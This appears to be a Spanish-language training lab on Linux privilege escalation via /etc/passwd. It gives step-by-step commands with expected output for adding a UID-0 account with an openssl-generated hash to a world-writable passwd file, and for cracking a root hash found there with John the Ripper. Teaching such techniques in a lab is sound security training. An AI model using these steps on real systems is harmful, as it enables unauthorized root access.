Introducción
Los archivos /etc/passwd y /etc/shadow son cruciales para la autenticación de usuarios en los sistemas Linux. Si los administradores del sistema configuran incorrectamente el contenido o los permisos de estos archivos, puede dar lugar a vulnerabilidades de escalada de privilegios. En este laboratorio (lab), exploraremos métodos de escalada de privilegios aprovechando el archivo /etc/passwd.
Comprendiendo el archivo /etc/passwd
En este paso, exploraremos la estructura y el significado del archivo /etc/passwd.
En los sistemas Linux, la información de las contraseñas de los usuarios se almacena en dos archivos: /etc/passwd y /etc/shadow. El archivo /etc/passwd contiene información de los usuarios, donde cada línea representa una única cuenta de usuario. Cada línea se divide en siete campos separados por dos puntos:
- Nombre de usuario (Username)
- Contraseña (si se establece en
x, la contraseña se almacena en/etc/shadow) - Identificador de usuario (User ID - UID, 0 para el usuario root)
- Identificador de grupo (Group ID - GID)
- Información del usuario (Nombre completo, número de habitación, teléfono de trabajo, teléfono de casa y otros)
- Directorio personal (Home directory)
- Shell predeterminado (Default shell)
Ahora, abra una terminal y navegue hasta el directorio /home/labex/project para pasar al siguiente paso.
cd /home/labex/project
Obtenga la información del usuario labex del archivo /etc/passwd y guárdela en un archivo llamado labex_passwd.txt en el directorio /home/labex/project.
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
Verifique el contenido del archivo labex_passwd.txt.
cat labex_passwd.txt
Salida esperada:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
A continuación, se muestra lo que representa cada campo:
- Nombre de usuario: test-user
- Contraseña: almacenada en
/etc/shadow(indicado porx) - UID: 5000
- GID: 5000
- Información del usuario: en este caso, está vacía
- Directorio personal:
/home/labex - Shell predeterminado:
/usr/bin/zsh
Durante el proceso de autenticación de Linux, se producen los siguientes pasos:
- El nombre de usuario ingresado se compara con el primer campo de cada línea del archivo
/etc/passwd. - Si se encuentra una coincidencia, se compara la contraseña en el segundo campo.
- Después de una autenticación exitosa, los permisos del usuario se determinan por el UID (tercer campo) y el GID (cuarto campo).
- Es importante destacar que un UID de
0representa al usuario root, otorgando plenos privilegios de administración, independientemente del nombre de usuario.
Como puede ver, el archivo /etc/passwd juega un papel fundamental en el proceso de autenticación de Linux. Si un atacante puede modificar este archivo, es posible que pueda obtener acceso no autorizado y elevar sus privilegios.
Escalada de privilegios a través de /etc/passwd (Acceso de escritura)
En este paso, aprenderemos cómo elevar privilegios aprovechando el acceso de escritura al archivo /etc/passwd.
Primero, configuremos el entorno del laboratorio (lab). Abra una terminal y navegue hasta el directorio
/home/labex/project:cd /home/labex/projectEjecute el siguiente comando para configurar el entorno del laboratorio:
./env_setup1.shEste comando ejecutará un script que configurará el entorno del laboratorio. Debería ver una salida que indique que el entorno está listo.
Después de la configuración, iniciará sesión como el usuario
user001, lo que simula un acceso inicial a la shell obtenido durante una prueba de penetración.Navegue hasta el directorio personal del usuario
user001:cd ~Use el comando
whoamipara verificar su usuario actual:whoamiSalida esperada:
user001Use el comando
idpara ver sus identificadores de usuario y grupo:idSalida esperada:
uid=1001(user001) gid=1001(user001) groups=1001(user001)Como puede ver, es un usuario normal sin ningún privilegio especial.
A continuación, verifique los permisos de los archivos
/etc/passwdy/etc/shadow:ls -l /etc/passwd /etc/shadowSalida esperada:
--wx--xrwx 1 root root 1961 Abr 5 00:21 /etc/passwd -rw-r----- 1 root user001 1101 Abr 5 00:21 /etc/shadowTenga en cuenta que el archivo
/etc/passwdtiene permisos deejecuciónyescrituraparatodos los usuarios(--wx--xrwx), lo cual es unaconfiguración incorrectapor parte del administrador del sistema.
Nuestro objetivo es crear una nueva entrada de usuario en el archivo /etc/passwd con un nombre de usuario personalizado, una contraseña y un UID de 0 (root). Esto nos permitirá iniciar sesión como el usuario root.
Primero, examine el formato de la entrada del usuario root en el archivo
/etc/passwdextrayéndola a un nuevo archivo llamadonew_user_entry.txt:cat /etc/passwd | grep root > new_user_entry.txtSalida esperada cuando use el comando
catpara ver el contenido del archivonew_user_entry.txt:root:x:0:0:root:/root:/bin/bashPara crear nuestra propia entrada, cambie el nombre de usuario de
roota cualquier nombre deseado, comonew-useren el archivonew_user_entry.txt:new-user:x:0:0:root:/root:/bin/bashReemplace la
xen el segundo campo con el hash de contraseña cifrado. Podemos usar la herramientaopensslpara generar el hash de una contraseña (por ejemplo,pass123):openssl passwd -1 -salt ignite pass123Salida esperada:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Sustituyendo el hash en el segundo campo en el archivo
new_user_entry.txt:new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashAhora, agregue esta línea al archivo
/etc/passwd:echo "$(cat new_user_entry.txt)" >> /etc/passwdNota: Podemos agregar la nueva entrada al archivo
/etc/passwdporque tiene permisos de escritura paratodos los usuarios. En un escenario del mundo real, este archivo no debería tener permisos de escritura para usuarios normales.Verifique la nueva entrada buscando
new-useren el archivo/etc/passwd:cat /etc/passwd | grep new-userSalida esperada:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashFinalmente, cambie al usuario
new-usercon la contraseñapass123:su new-userIngrese la contraseña
pass123cuando se le solicite. Ahora debería tener privilegios de root, como lo indica el cambio en el indicador de comando:user001@660ecfa4d7612c798ef141ab:~$ su new-user Password: root@660ecfa4d7612c798ef141ab:/home/user001#
Escalada de privilegios a través de /etc/passwd (Hash de contraseña)
En este paso, aprenderemos cómo elevar privilegios cuando el hash de la contraseña del usuario root se almacena en el archivo /etc/passwd en lugar del archivo /etc/shadow.
Primero, configuremos el entorno del laboratorio (lab). Abra una terminal y navegue hasta el directorio
/home/labex/project:Si todavía está como
new-user, puede usar el comandoexitpara salir de la shell actual hasta llegar a la shell delabex, luego navegue hasta el directorio/home/labex/project:cd /home/labex/projectEjecute el siguiente comando para configurar el entorno del laboratorio:
./env_setup2.shEste comando ejecutará un script que configurará el entorno del laboratorio. Debería ver una salida que indique que el entorno está listo.
Después de la configuración, iniciará sesión como el usuario
user001, lo que simula un acceso inicial a la shell obtenido durante una prueba de penetración.Navegue hasta el directorio personal del usuario
user001:cd ~Verifique los permisos de los archivos
/etc/passwdy/etc/shadow:ls -l /etc/passwd /etc/shadow-rw-r--r-- 1 root root 2059 Abr 5 01:36 /etc/passwd -rw-r----- 1 root root 1101 Abr 5 00:21 /etc/shadowEsta vez, los permisos de los archivos están
configurados correctamentey solo tiene acceso de lectura al archivo/etc/passwd.Vea el contenido del archivo
/etc/passwdpara encontrar el hash de la contraseña del usuario root:cat /etc/passwd | grep ^root > ~/hash.txtVerifique el contenido del archivo
hash.txtejecutando el siguiente comando:cat ~/hash.txtSalida esperada:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bashTenga en cuenta que el hash de la contraseña del usuario root se almacena en el segundo campo del archivo
/etc/passwd. Esto suele ser el resultado de un compromiso previo del sistema o de unaconfiguración incorrectapor parte del administrador del sistema.Ahora, ejecute
johnpara descifrar el hash:john ~/hash.txt > ~/cracked.txtjohnes una popular herramienta de descifrado de contraseñas que utiliza ataques de diccionario para descifrar hashes de contraseñas. La salida indicará si la contraseña se descifró con éxito.Created directory: /home/user001/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedVerifique el contenido del archivo
cracked.txtpara ver la contraseña descifrada:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) hello (root)Como puede ver,
johndescifró con éxito la contraseña, que eshello.Use el comando
supara cambiar al usuario root, ingresando la contraseña descifrada cuando se le solicite:su rootIngrese la contraseña
hellocuando se le solicite. Ahora debería tener privilegios de root, como lo indica el cambio en el indicador de comando.user001@660ecfa4d7612c798ef141ab:~$ su root Password: root@660ecfa4d7612c798ef141ab:/home/user001#
Resumen
En este laboratorio (lab), aprendimos sobre el proceso de autenticación de usuarios en Linux, la importancia del archivo /etc/passwd y cómo aprovecharlo para la escalada de privilegios. Cubrimos dos escenarios: (1) cuando el archivo /etc/passwd tiene permisos de escritura, lo que nos permite crear una nueva entrada de usuario con privilegios de root, y (2) cuando el hash de la contraseña del usuario root se almacena en el archivo /etc/passwd, lo que nos permite descifrar la contraseña utilizando la herramienta john. A través de la práctica práctica, adquirimos una comprensión más profunda de cómo aprovechar las configuraciones incorrectas en el archivo /etc/passwd para elevar privilegios en un sistema Linux.